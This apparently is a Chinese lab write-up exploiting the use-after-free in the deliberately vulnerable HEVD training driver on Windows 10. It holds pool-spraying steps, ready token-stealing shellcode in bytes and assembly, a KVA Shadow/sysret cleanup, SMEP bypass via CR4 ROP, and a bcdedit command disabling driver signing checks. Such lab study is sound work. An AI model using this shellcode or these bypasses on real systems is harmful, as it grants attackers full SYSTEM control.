Windows Kernel NonPagedPool UAF
win10 22h2
相关代码在仓库HEVDExploits
编译项目 运行Builder/Build_HEVD_Vulnerable_x64.bat
或者VS打开项目,编译。
属性->DriverSetting 先设置为win7/win10,生成x64
Windows API #pragma alloc_text(PAGE, UseUaFObjectNonPagedPool)
是一个用于在Windows内核开发中指定函数所属代码段属性的编译指令。
#pragma alloc_text
是一个预处理指令,用于在编译时将函数指定到特定的代码段。
PAGE
是#pragma alloc_text
指令后面的参数,用于指定函数所属的代码段。PAGE
表示该函数应该被编译为适用于页码页面的代码段。
ExAllocatePoolWithTag: 分配指定类型的池内存,并返回指向已分配块的指针
1 2 3 4 5 PVOID ExAllocatePoolWithTag ( [in] __drv_strictTypeMatch(__drv_typeExpr)POOL_TYPE PoolType, [in] SIZE_T NumberOfBytes, [in] ULONG Tag ) ;
windows 内存管理器创建系统用于分配内存的以下内存池:非分页池和分页池。 这两个内存池都位于为系统保留并映射到每个进程的虚拟地址空间的地址空间区域中。内核池类似于Windows 中的堆, 因为它的作用也是用来动态分配内存
非分页池由虚拟内存地址组成,只要分配了相应的内核对象,这些地址就保证驻留在物理内存中。
分页池由虚拟内存组成,可以分页进出系统。
PagedPool 简单来说就是物理内存不够时,会把这片内存移动到硬盘上,而NonPagedPool 是无论物理内存如何紧缺,都绝对不把这片内存的内容移动到硬盘上。
ExFreePoolWithTag: 释放池内存
1 2 3 4 void ExFreePoolWithTag ( [in] PVOID P, [in] ULONG Tag ) ;
NtAllocateReserveObject:ntdll中系统调用。负责在内核端创建保留对象–在内核池上执行内存分配,返回Handle
1 2 3 4 5 NTSTATUS STDCALL NtAllocateReserveObject ( OUT PHANDLE hObject, IN POBJECT_ATTRIBUTES ObjectAttributes, IN DWORD ObjectType )
驱动层权限提升 内核数据结构包含了一个指向token的指针。当进程试图去执行各种操作时,比如打开一个文件,token中的账户权限会用于和所需的权限进行比较,以此决定该操作是否可行。
Windows提权:获取 nt authority\system
权限
将SYSTEM进程的token复制到当前进程,这样当前进程则为system权限(1) 。
编辑ACL/ACE 或者 直接修改token中的dt _token : +0x040 Privileges: _SEP_TOKEN_PRIVILEGES
以达到权限提升的目的,此方法有一个好处是被修改进程的用户名等信息不会改变,只是权限改变了(2)
测试 首先找到System进程的16进制地址
1 2 3 4 5 6 7 8 9 10 11 0: kd> !dml_proc Address PID Image file name ffff940f`cfea7080 4 System ... ffff940f`d7240080 2270 cmd.exe 0: kd> !process 0 0 system PROCESS ffff940fcfea7080 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000 DirBase: 001ad000 ObjectTable: ffffe78dfac04800 HandleCount: 3023. Image: System
它指向一个_EPROCESS
结构,查看,一个比较大的结构体
1 2 3 4 5 6 7 8 9 10 0: kd> dt _EPROCESS ffff940f`cfea7080 ntdll!_EPROCESS +0x000 Pcb : _KPROCESS +0x438 ProcessLock : _EX_PUSH_LOCK +0x440 UniqueProcessId : 0x00000000`00000004 Void +0x448 ActiveProcessLinks : _LIST_ENTRY [ 0xffff940f`cff084c8 - 0xfffff803`7181e130 ] +0x458 RundownProtect : _EX_RUNDOWN_REF ... +0x4b8 Token : _EX_FAST_REF ...
可以看到token偏移(根据系统进行变化,并且token字段是以_EX_FAST_REF
来声明的而不是_TOKEN
1 2 3 4 5 6 7 8 0: kd> dq ffffe78dfac04800+4b8 L1 ffffe78d`fac04cb8 ffffe78d`fac0c05e 0: kd> dt _EX_FAST_REF ffffe78dfac04800+4b8 ntdll!_EX_FAST_REF +0x000 Object : 0xffffe78d`fac0c05e Void +0x000 RefCnt : 0y1110 +0x000 Value : 0xffffe78d`fac0c05e
蓝屏警告:这个 token
后四位全为0才是token
1 0: kd> !token ffffe78d`fac0c050
定位cmd.exe进程的_EPROCESS
结构并替换偏移0x208的token指针值为System的token地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 0: kd> !process 0 0 cmd.exe PROCESS ffff940fd7240080 SessionId: 1 Cid: 2270 Peb: f4e7043000 ParentCid: 13bc DirBase: 172720000 ObjectTable: ffffe78e02a18080 HandleCount: 75. Image: cmd.exe 0: kd> dt _EX_FAST_REF +0x4b8+ffff940fd7240080 ntdll!_EX_FAST_REF +0x000 Object : 0xffffe78e`02dcb06b Void +0x000 RefCnt : 0y1011 +0x000 Value : 0xffffe78e`02dcb06b 0: kd> eq 0x4b8+ffff940fd7240080 0xffffe78d`fac0c050 0: kd> dt _EX_FAST_REF +0x4b8+ffff940fd7240080 ntdll!_EX_FAST_REF +0x000 Object : 0xffffe78d`fac0c05e Void +0x000 RefCnt : 0y1110 +0x000 Value : 0xffffe78d`fac0c05e 0: kd> g
替换成功
1 2 3 4 5 6 C:\Users \debugger >whoami desktop -8h64pu1 \debugger # WinDbg 替换 C :\Users \debugger >whoami nt authority \system
shellcode 寻找 _KTHREAD
结构:反汇编 PsGetCurrentThread
函数
1 2 3 4 5 0: kd> uf PsGetCurrentProcess nt!PsGetCurrentProcess: fffff801`3f68eea0 65488b042588010000 mov rax,qword ptr gs:[188h] fffff801`3f68eea9 488b80b8000000 mov rax,qword ptr [rax+0B8h] fffff801`3f68eeb0 c3 ret
其实gs:[188h]
的位置存贮的是 _KTHREAD
结构的地址,看一下这个结构,发现0x220的位置存储的就是 _KPROCESS
,但是这里是取得 0xb8
, 0x98其实存储的结构是_KAPC_STATE
,0x20
位置存储的就是_KPROCESS
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 0: kd> dt _KTHREAD ... +0x098 ApcStateFill : [43] UChar +0x0c3 Priority : Char ... 0: kd> dt _KAPC_STATE ntdll!_KAPC_STATE +0x000 ApcListHead : [2] _LIST_ENTRY +0x020 Process : Ptr64 _KPROCESS +0x028 InProgressFlags : UChar +0x028 KernelApcInProgress : Pos 0, 1 Bit +0x028 SpecialApcInProgress : Pos 1, 1 Bit +0x029 KernelApcPending : UChar +0x02a UserApcPendingAll : UChar +0x02a SpecialUserApcPending : Pos 0, 1 Bit +0x02a UserApcPending : Pos 1, 1 Bit
因此在r3寻找到 _KPROCESS
的实现
1 2 3 4 5 mov r9, qword ptr gs:[0x188 ] mov r9, qword ptr[r9+0x0B8 ] mov r9, qword ptr gs:[0x188 ] mov r9, qword ptr[r9+0x220 ]
_EPROCESS
是包含了_KPROCESS
的结构体,他们的起始地址是一样的,我们可以通过dt来查看
内核用来跟踪进程的结构是KPROCESS。 执行子系统用来跟踪它的结构是EPROCESS。 作为一个实现细节,KPROCESS是EPROCESS的第一个字段,所以执行子系统分配EPROCESS结构,然后调用coreel来初始化它的KPROCESS部分。最后,这两个结构都是表示用户进程实例的Process Object的一部分。
在Stack Overflow 寻找答案
第一个元素就是 _KPROCESS
, UniqueProcessId
存储的是当前进程的pid,InheritedFromUniqueProcessId
存储的是父进程的pid
1 2 3 4 5 6 7 8 9 10 0: kd> dt _EPROCESS ntdll!_EPROCESS +0x000 Pcb : _KPROCESS +0x438 ProcessLock : _EX_PUSH_LOCK +0x440 UniqueProcessId : Ptr64 Void +0x448 ActiveProcessLinks : _LIST_ENTRY ... +0x540 InheritedFromUniqueProcessId : Ptr64 Void +0x548 OwnerProcessId : Uint8B ...
因为程序大多数在cmd.exe启动,因此我们获得的是 cmd 的 _KPROCESS
,我们需要替换的是这个,我们需要寻找到system进程token
链表元素就是 ActiveProcessLinks
,接下来遍历这个链表就可以找到system(pid=4)的_KPROCESS
。参考这里 ,修改偏移为当前系统的
EPROCESS 在 KTHREAD + 0xb8
ActiveProcessLinks 在 EPROCESS + 0x448
ActiveProcessLinks 距离 Token 距离
token 在 EPROCESS + 0x4b8 处
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 mov rdx, [gs:188 h] ;get _ETHREAD pointer from KPCR mov r8, [rdx+0xb8 ] ;_EPROCESS (see PsGetCurrentProcess function) mov r9, [r8+0x448 ] ;ActiveProcessLinks list head mov rcx, [r9] ;follow link to first process in list find_system_proc: mov rdx, [rcx-8 ] ;offset from ActiveProcessLinks to UniqueProcessId cmp rdx, 4 ;process with ID 4 is System process jz found_it mov rcx, [rcx] ;follow _LIST_ENTRY Flink pointer cmp rcx, r9 ;see if back at list head jnz find_system_proc found_it: mov rax, [rcx+0x80 ] ;offset from ActiveProcessLinks to Token and al, 0xf0 ;clear low 4 bits of _EX_FAST_REF structure mov [r8+0x4b8 ], rax ;replace current process token with system token ret
寻找合适的对象 池喷射需要找到适合大小的内核对象以及池对象,使用windbg分析
1 2 3 4 !object \ObjectTypes dt nt!_OBJECT_TYPE <addr> dt nt!_OBJECT_TYPE_INITIALIZER <addr>
源码审计 在存在漏洞的驱动里,对象free后没有置为NULL
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 NTSTATUS FreeUaFObjectNonPagedPool ( VOID ) { NTSTATUS Status = STATUS_UNSUCCESSFUL; PAGED_CODE (); __try { if (g_UseAfterFreeObjectNonPagedPool) { DbgPrint ("[+] Freeing UaF Object\n" ); DbgPrint ("[+] Pool Tag: %s\n" , STRINGIFY (POOL_TAG)); DbgPrint ("[+] Pool Chunk: 0x%p\n" , g_UseAfterFreeObjectNonPagedPool); #ifdef SECURE ExFreePoolWithTag ((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG); g_UseAfterFreeObjectNonPagedPool = NULL ; #else ExFreePoolWithTag ((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG); #endif Status = STATUS_SUCCESS; } } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode (); DbgPrint ("[-] Exception Code: 0x%X\n" , Status); } return Status; }
然后就可以UAF调用callback函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 NTSTATUS UseUaFObjectNonPagedPool ( VOID ) { NTSTATUS Status = STATUS_UNSUCCESSFUL; PAGED_CODE (); __try { if (g_UseAfterFreeObjectNonPagedPool) { DbgPrint ("[+] Using UaF Object\n" ); DbgPrint ("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n" , g_UseAfterFreeObjectNonPagedPool); DbgPrint ("[+] g_UseAfterFreeObjectNonPagedPool->Callback: 0x%p\n" , g_UseAfterFreeObjectNonPagedPool->Callback); DbgPrint ("[+] Calling Callback\n" ); if (g_UseAfterFreeObjectNonPagedPool->Callback) { g_UseAfterFreeObjectNonPagedPool->Callback (); } Status = STATUS_SUCCESS; } } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode (); DbgPrint ("[-] Exception Code: 0x%X\n" , Status); } return Status; }
漏洞利用 两个版本
NonPagedPool 这个池的内容是可以执行的
一个是 Nx
版本,也就是不可执行版本。
g_UseAfterFreeObjectNonPagedPool 初始化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 NTSTATUS AllocateUaFObjectNonPagedPool ( VOID ) { NTSTATUS Status = STATUS_UNSUCCESSFUL; PUSE_AFTER_FREE_NON_PAGED_POOL UseAfterFree = NULL ; PAGED_CODE (); __try { DbgPrint ("[+] Allocating UaF Object\n" ); UseAfterFree = (PUSE_AFTER_FREE_NON_PAGED_POOL)ExAllocatePoolWithTag ( NonPagedPool, sizeof (USE_AFTER_FREE_NON_PAGED_POOL), (ULONG)POOL_TAG ); if (!UseAfterFree) { DbgPrint ("[-] Unable to allocate Pool chunk\n" ); Status = STATUS_NO_MEMORY; return Status; } else { DbgPrint ("[+] Pool Tag: %s\n" , STRINGIFY (POOL_TAG)); DbgPrint ("[+] Pool Type: %s\n" , STRINGIFY (NonPagedPool)); DbgPrint ("[+] Pool Size: 0x%zX\n" , sizeof (USE_AFTER_FREE_NON_PAGED_POOL)); DbgPrint ("[+] Pool Chunk: 0x%p\n" , UseAfterFree); } RtlFillMemory ((PVOID)UseAfterFree->Buffer, sizeof (UseAfterFree->Buffer), 0x41 ); UseAfterFree->Buffer[sizeof (UseAfterFree->Buffer) - 1 ] = '\0' ; UseAfterFree->Callback = &UaFObjectCallbackNonPagedPool; g_UseAfterFreeObjectNonPagedPool = UseAfterFree; DbgPrint ("[+] UseAfterFree Object: 0x%p\n" , UseAfterFree); DbgPrint ("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n" , g_UseAfterFreeObjectNonPagedPool); DbgPrint ("[+] UseAfterFree->Callback: 0x%p\n" , UseAfterFree->Callback); } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode (); DbgPrint ("[-] Exception Code: 0x%X\n" , Status); } return Status; }
UAF结构体
1 2 3 4 5 typedef struct _USE_AFTER_FREE_NON_PAGED_POOL { FunctionPointer Callback; CHAR Buffer[0x54 ]; } USE_AFTER_FREE_NON_PAGED_POOL, *PUSE_AFTER_FREE_NON_PAGED_POOL;
寻找IoctlCode:反编译
1 2 3 4 5 6 7 8 9 10 11 12 13 14 case 0x222013 : DbgPrintEx (0x4D u, 3u , "****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL ******\n" ); FakeObjectNonPagedPoolNxIoctlHandler = AllocateUaFObjectNonPagedPoolIoctlHandler (Irp, CurrentStackLocation); v7 = "****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL ******\n" ; goto LABEL_64; case 0x222017 : DbgPrintEx (0x4D u, 3u , "****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL ******\n" ); FakeObjectNonPagedPoolNxIoctlHandler = UseUaFObjectNonPagedPoolIoctlHandler (Irp, CurrentStackLocation); v7 = "****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL ******\n" ; goto LABEL_64; case 0x22201B : DbgPrintEx (0x4D u, 3u , "****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL ******\n" ); FakeObjectNonPagedPoolNxIoctlHandler = FreeUaFObjectNonPagedPoolIoctlHandler (Irp, CurrentStackLocation); v7 = "****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL ******\n" ;
NonPagedPool,其alloc的大小为0x60
1 PoolWithTag = (const void **)ExAllocatePoolWithTag (NonPagedPool, 0x60 ui64, 0x6B636148 u);
思路:UAF劫持callback函数,让其执行提权的代码。
Exploit NonPagedPool 加载驱动,查看是否加载成功
打断点和显示DbgPrint信息
DebugBreak()
应用程序触发kenel debug断点
打印出所有的信息
1 0: kd> ed nt!Kd_DEFAULT_MASK 0xFFFFFFFF
因为存在 Tag
可以寻找pool,比较花时间,可以在DebugView里寻找信息.!poolfind
命令不会计算头部,!pool
会计算
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 0: kd> !poolused 2 Hack 0: kd> !poolfind Hack -nonpaged 3: kd> g ***** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL ****** [+] Allocating UaF Object [+] Pool Tag: 'kcaH' [+] Pool Type: NonPagedPool [+] Pool Size: 0x60 [+] Pool Chunk: 0xFFFFA78BEF702B50 [+] UseAfterFree Object: 0xFFFFA78BEF702B50 [+] g_UseAfterFreeObjectNonPagedPool: 0xFFFFA78BEF702B50 [+] UseAfterFree->Callback: 0xFFFFF8012D287CD0 ****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL ****** Break instruction exception - code 80000003 (first chance) 0033:00007ff9`b21bb6d2 cc int 3 1: kd> !pool 0xFFFFA78BEF702B50 Pool page ffffa78bef702b50 region is Nonpaged pool ffffa78bef702000 size: 30 previous size: 0 (Free) .... # ... ffffa78bef7029a0 size: 90 previous size: 0 (Allocated) FSim
查看内存信息
1 2 3 4 5 6 7 8 9 1: kd> dq 0xFFFFA78BEF702B50 ffffa78b`ef702b50 fffff801`2d287cd0 41414141`41414141 ffffa78b`ef702b60 41414141`41414141 41414141`41414141 ffffa78b`ef702b70 41414141`41414141 41414141`41414141 ffffa78b`ef702b80 41414141`41414141 41414141`41414141 ffffa78b`ef702b90 41414141`41414141 41414141`41414141 ffffa78b`ef702ba0 41414141`41414141 00000000`00414141 ffffa78b`ef702bb0 fe8fc5c0`d7167489 00000000`00000000 ffffa78b`ef702bc0 00000000`00000000 ffffa78b`ef714039
pool 实际大小,需要加入一个头部信息,并且内存对齐。pool header
1 2 3 4 5 6 7 8 9 10 11 ffffa78bef702900 size: 90 previous size: 0 (Allocated) FSim ffffa78bef7029a0 size: 90 previous size: 0 (Allocated) FSim 1: kd> !poolused 2 Hack Using a machine size of 1ffe7e pages to configure the kd cache .... Sorting by NonPaged Pool Consumed NonPaged Paged Tag Allocs Used Allocs Used Hack 1 112 0 0 UNKNOWN pooltag 'Hack', please update pooltag.txt TOTAL 1 112 0 0
因此实际获得的大小:0x70,内存对齐
内核池喷射是一项使池中分配位置可预测的艺术。这意味着你可以知道一个块将被分配到哪里,哪些块在其附近。
触发UAF前,需要使用 heap fengshui
free后被合并,因此为了提高成功率,就创建hole,然后使用漏洞对象进行占位
1 *ffffa78bef702a30 size: 5b0 previous size: 0 (Free) *...~
参考(6) ,获得两个句柄 0xac, 0xb0
1 2 3 4 5 6 7 8 9 10 0: kd> !poolused 2 NpFr Using a machine size of 1ffe7e pages to configure the kd cache ... Sorting by NonPaged Pool Consumed NonPaged Paged Tag Allocs Used Allocs Used NpFr 1 112 0 0 DATA_ENTRY records (read/write buffers) , Binary: npfs.sys TOTAL 1 112 0 0
写入UAF,存在一个FAKE_OBJECT,可以进行写入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 case 0x22201F : DbgPrintEx (0x4D u, 3u , "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL ******\n" ); FakeObjectNonPagedPoolNxIoctlHandler = AllocateFakeObjectNonPagedPoolIoctlHandler (Irp, CurrentStackLocation); v7 = "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL ******\n" ; goto LABEL_64; ... int __fastcall AllocateFakeObjectNonPagedPoolIoctlHandler (_IRP *Irp, _IO_STACK_LOCATION *IrpSp) { _NAMED_PIPE_CREATE_PARAMETERS *Parameters; int result; Parameters = IrpSp->Parameters.CreatePipe.Parameters; result = 0xC0000001 ; if ( Parameters ) return AllocateFakeObjectNonPagedPool ((_FAKE_OBJECT_NON_PAGED_POOL *)Parameters); return result; } ... __int64 __fastcall AllocateFakeObjectNonPagedPool (_FAKE_OBJECT_NON_PAGED_POOL *UserFakeObject) { _OWORD *PoolWithTag; DbgPrintEx (0x4D u, 3u , "[+] Creating Fake Object\n" ); PoolWithTag = ExAllocatePoolWithTag (NonPagedPool, 0x5C ui64, 0x6B636148 u); if ( PoolWithTag ) { DbgPrintEx (0x4D u, 3u , "[+] Pool Tag: %s\n" , "'kcaH'" ); DbgPrintEx (0x4D u, 3u , "[+] Pool Type: %s\n" , "NonPagedPool" ); DbgPrintEx (0x4D u, 3u , "[+] Pool Size: 0x%zX\n" , 0x5C ui64); DbgPrintEx (0x4D u, 3u , "[+] Pool Chunk: 0x%p\n" , PoolWithTag); ProbeForRead (UserFakeObject, 0x5C ui64, 1u ); *PoolWithTag = *(_OWORD *)UserFakeObject->Buffer; PoolWithTag[1 ] = *(_OWORD *)&UserFakeObject->Buffer[16 ]; PoolWithTag[2 ] = *(_OWORD *)&UserFakeObject->Buffer[32 ]; PoolWithTag[3 ] = *(_OWORD *)&UserFakeObject->Buffer[48 ]; PoolWithTag[4 ] = *(_OWORD *)&UserFakeObject->Buffer[64 ]; *((_QWORD *)PoolWithTag + 10 ) = *(_QWORD *)&UserFakeObject->Buffer[80 ]; *((_DWORD *)PoolWithTag + 22 ) = *(_DWORD *)&UserFakeObject->Buffer[88 ]; *((_BYTE *)PoolWithTag + 91 ) = 0 ; DbgPrintEx (0x4D u, 3u , "[+] Fake Object: 0x%p\n" , PoolWithTag); return 0 i64; } else { DbgPrintEx (0x4D u, 3u , "[-] Unable to allocate Pool chunk\n" ); return 3221225495 i64; } }
打两个断点,成功写入
1 2 3 4 5 6 7 8 9 3: kd> dq 0xFFFFA78BF933D540 ffffa78b`f933d540 00000000`deadbeef 00000000`00000000 ffffa78b`f933d550 00000000`00000000 00000000`00000000 ffffa78b`f933d560 00000000`00000000 00000000`00000000 ffffa78b`f933d570 00000000`00000000 00000000`00000000 ffffa78b`f933d580 00000000`00000000 00000000`00000000 ffffa78b`f933d590 00000000`00000000 00000000`00000000 ffffa78b`f933d5a0 6b636148`02070000 00000000`00000000 ffffa78b`f933d5b0 00000000`deadbeef 00000000`00000000
shellcode 使用keystone生成汇编
或者参考HEVD/HEVD_UAF_WIN10_21H2.cpp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 { 0x65 , 0x48 , 0x8B , 0x04 , 0x25 , 0x88 , 0x01 , 0x00 , 0x00 , 0x48 , 0x8B , 0x80 , 0xB8 , 0x00 , 0x00 , 0x00 , 0x48 , 0x89 , 0xC3 , 0x48 , 0x8B , 0x9B , 0x48 , 0x04 , 0x00 , 0x00 , 0x48 , 0x81 , 0xEB , 0x48 , 0x04 , 0x00 , 0x00 , 0x48 , 0x8B , 0x8B , 0x40 , 0x04 , 0x00 , 0x00 , 0x48 , 0x83 , 0xF9 , 0x04 , 0x75 , 0xE5 , 0x48 , 0x8B , 0x8B , 0xB8 , 0x04 , 0x00 , 0x00 , 0x80 , 0xE1 , 0xF0 , 0x48 , 0x89 , 0x88 , 0xB8 , 0x04 , 0x00 , 0x00 , 0x48 , 0x31 , 0xC0 , 0xC3 } 0 : 65 48 8b 04 25 88 01 mov rax,QWORD PTR gs:0x188 7 : 00 00 9 : 48 8b 80 b8 00 00 00 mov rax,QWORD PTR [rax+0xb8 ] 10 : 48 89 c3 mov rbx,rax 13 : 48 8b 9b 48 04 00 00 mov rbx,QWORD PTR [rbx+0x448 ] 1 a: 48 81 eb 48 04 00 00 sub rbx,0x448 21 : 48 8b 8b 40 04 00 00 mov rcx,QWORD PTR [rbx+0x440 ] 28 : 48 83 f9 04 cmp rcx,0x4 2 c: 75 e5 jne 0x13 2 e: 48 8b 8b b8 04 00 00 mov rcx,QWORD PTR [rbx+0x4b8 ]35 : 80 e1 f0 and cl,0xf0 38 : 48 89 88 b8 04 00 00 mov QWORD PTR [rax+0x4b8 ],rcx 3f : 48 31 c0 xor rax,rax 42 : c3 ret
是写成功了
1 2 3 4 5 6 7 8 9 3: kd> dq 0xFFFFDC04FE779850 ffffdc04`fe779850 00018825`048b4865 000000b8`808b4800 ffffdc04`fe779860 04489b8b`48c38948 000448eb`81480000 ffffdc04`fe779870 00000440`8b8b4800 8b48e575`04f98348 ffffdc04`fe779880 f0e18000`0004b88b 48000004`b8888948 ffffdc04`fe779890 00000000`00c3c031 00007ff7`85ad32d8 ffffdc04`fe7798a0 00000000`00000000 00000000`00413f2e ffffdc04`fe7798b0 6b636148`02070000 61005400`00000000 ffffdc04`fe7798c0 00018825`048b4865 000000b8`808b4800
但是直接写无法运行,无法提权:保护机制的绕过。
ROP bypass KASLR: 获取内核基址 ntoskrnl.exe
地址:遍历驱动,获取内核基址 bypass SEMP/SMAP: 修改CR4寄存器,将20,21位置0 bypass KVA Sahdow: 内核页表隔离KVA(KPTI),也就是KVA Shadow ,当执行内核代码时,用户态代码记录为 NX
AllocPoolWithTag 获得的内存一般是可执行的,因此可以往内存中写,然后执行
执行swapgs
绕过
如果CR4寄存器的第20位被设置为1,那么就启用了SMEP;21位smap Cr0-Cr4 。这里看到smep,smap都存在。SMEP存在就可以执行用户态代码
1 2 3 4 5 6 7 8 9 10 11 12 13 2: kd> r cr4 cr4=0000000000350ef8 2: kd> .formats cr4 Evaluate expression: Hex: 00000000`00350ef8 Decimal: 3477240 Decimal (unsigned) : 3477240 Octal: 0000000000000015207370 Binary: 00000000 00000000 00000000 00000000 00000000 00110101 00001110 11111000 Chars: .....5.. Time: Tue Feb 10 13:54:00 1970 Float: low 4.87265e-039 high 0 Double: 1.71798e-317
寻找ROP:使用ropper/ROPgadget工具,在 ntoskrnl.exe
寻找
C:\Windows\WinSxS\amd64_microsoft-windows-os-kernelxxx\ntoskrnl.exe
寻找gadget
1 2 3 4 5 (ntoskrnl.exe/PE/x86_64)> imagebase 0 x0 [INFO] Imagebase set to 0 x0 (ntoskrnl.exe/PE/x86_64)> search mov cr4, r ...
参考:Windows Kernel Exploitation x64 Stack Overflow 为了不崩溃,shellcode需要添加bypass KVA Shadow。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 [BITS 64 ] start: mov rax, [gs:0x188 ] ; KPCRB.CurrentThread (_KTHREAD) mov rax, [rax + 0xb8 ] ; APCState.Process (current _EPROCESS) mov r8, rax ; Store current _EPROCESS ptr in RBX loop: mov r8, [r8 + 0x448 ] ; ActiveProcessLinks sub r8, 0x448 ; Go back to start of _EPROCESS mov r9, [r8 + 0x440 ] ; UniqueProcessId (PID) cmp r9, 4 ; SYSTEM PID? jnz loop ; Loop until PID == 4 replace: mov rcx, [r8 + 0x4b8 ] ; Get SYSTEM token and cl, 0xf0 ; Clear low 4 bits of _EX_FAST_REF structure mov [rax + 0x4b8 ], rcx ; Copy SYSTEM token to current process cleanup: mov rax, [gs:0x188 ] ; _KPCR.Prcb.CurrentThread mov cx, [rax + 0x1e4 ] ; KTHREAD.KernelApcDisable inc cx mov [rax + 0x1e4 ], cx mov rdx, [rax + 0x90 ] ; ETHREAD.TrapFrame mov rcx, [rdx + 0x168 ] ; ETHREAD.TrapFrame.Rip mov r11, [rdx + 0x178 ] ; ETHREAD.TrapFrame.EFlags mov rsp, [rdx + 0x180 ] ; ETHREAD.TrapFrame.Rsp mov rbp, [rdx + 0x158 ] ; ETHREAD.TrapFrame.Rbp xor eax, eax ; swapgs o64 sysret
某个地址读写,断点
最终结果
1 2 3 4 5 6 7 8 9 10 11 C:\Users \debugger >C :\Users \debugger \Desktop \HEVDExploit.exe [*] Spray use write pipe [*] Create UAF Object then free [*] Prepare shellcode [*] Spray to get the UAF object then write shellcode [*] Trigger UAF callback Microsoft Windows [版本 10.0.19045.3930](c ) Microsoft Corporation 。保留所有权利。 C :\Users \debugger >whoami nt authority \system
tip: kernel可以访问VirtualAlloc的内存区域,但是最好不允许换出内存。
因为 NonPagedPool 是有可执行权限的😢
1 2 3 4 5 6 7 8 9 LPVOID pShellcode = VirtualAlloc (NULL , 0x100 , MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); RtlCopyMemory (pShellcode, StealToken, 0x100 );... LPVOID pKernelStack = VirtualAlloc ((LPVOID)stackAddr, 0x14000 , MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!VirtualLock (pKernelStack, 0x14000 )) { Error ("VirtualLock" ); }
update 因为这里的内存池是NonPagedPool,存在可执行权限,因此是可以写shellcode的
参考的文章,池风水使用了NamedPipe,可能没什么用,因为NamedPipe在NonPagedPoolNx中获得,不是一个pool,因此没必要spray named pipe
Exploit NonPagedPoolNx 没有执行权限
NonPagedPool的exp也可以使用。
其余做法:HEVD
使用FakeObj来伪造一个NamedPipe,结合double free从而可以任意的读
使用NtFsControlFile将NamedPipe改成unbuffered
修改 Irp->SystemBuffer 任意写
Q&A Windows 无法验证此设备所需的驱动程序的数字签名。某软件或硬件最近有所更改,可能安装了签名错误或损毁的文件,或者安装的文件可能是来路不明的恶意软件。
更新与安全->恢复->高级启动->立刻重新启动->疑难解答->高级选项->禁用驱动强制签名(F7
永久禁用驱动签名?不行?
1 bcdedit /set nointegritychecks on
加载HEVD驱动,我们得先找到其驱动目录,因此我们可以创建目录,将pdb文件扔进去
1 2 3 4 5 6 7 8 9 10 11 12 13 0 : kd> !sym noisynoisy mode - symbol prompts on # 显示符号 0 : kd> x /D HEVD!* A B C D E F G H I J K L M N O P Q R S T U V W X Y Z SYMSRV: BYINDEX : 0x8 c :\symbols *https ://msdl.microsoft.com /download /symbols HEVD.pdb 1A8235FDCA7F46E08A07A47D79B5A8991 SYMSRV : UNC : c :\symbols \HEVD.pdb \1A8235FDCA7F46E08A07A47D79B5A8991 \HEVD.pdb - path not found ...
More 翻到了一篇CVE分析,其中利用到了token替换技术:CVE-2022-37969 漏洞利用 ,一个优秀的利用对象:pipe
1 2 3 4 5 6 BOOL CreatePipe ( [out] PHANDLE hReadPipe, [out] PHANDLE hWritePipe, [in, optional] LPSECURITY_ATTRIBUTES lpPipeAttributes, [in] DWORD nSize ) ;
会在内核空间创建 PipeAttribute
,PipeAttribute结构是在PagedPool
中分配的内核空间中属性的表示,构造后可以造成任意地址的读写
1 2 3 4 5 6 7 8 9 10 11 12 struct PipeAttribute { LIST_ENTRY list ; char * AttributeName; uint64_t AttributeValueSize; char * AttributeValue; char data [0 ]; }; typedef struct _LIST_ENTRY { struct _LIST_ENTRY *Flink; struct _LIST_ENTRY *Blink; } LIST_ENTRY, *PLIST_ENTRY, PRLIST_ENTRY;
因此可以不写汇编而达到steal token 的目的
使用适当的参数调用NtQuerySystemInformation
API获取当前进程和拥有SYSTEM特权的System进程(PID 4)的_EPROCESS和_TOKEN
调用OpenProcessToken函数打开与当前进程关联的访问令牌
根据漏洞替换token
参考文章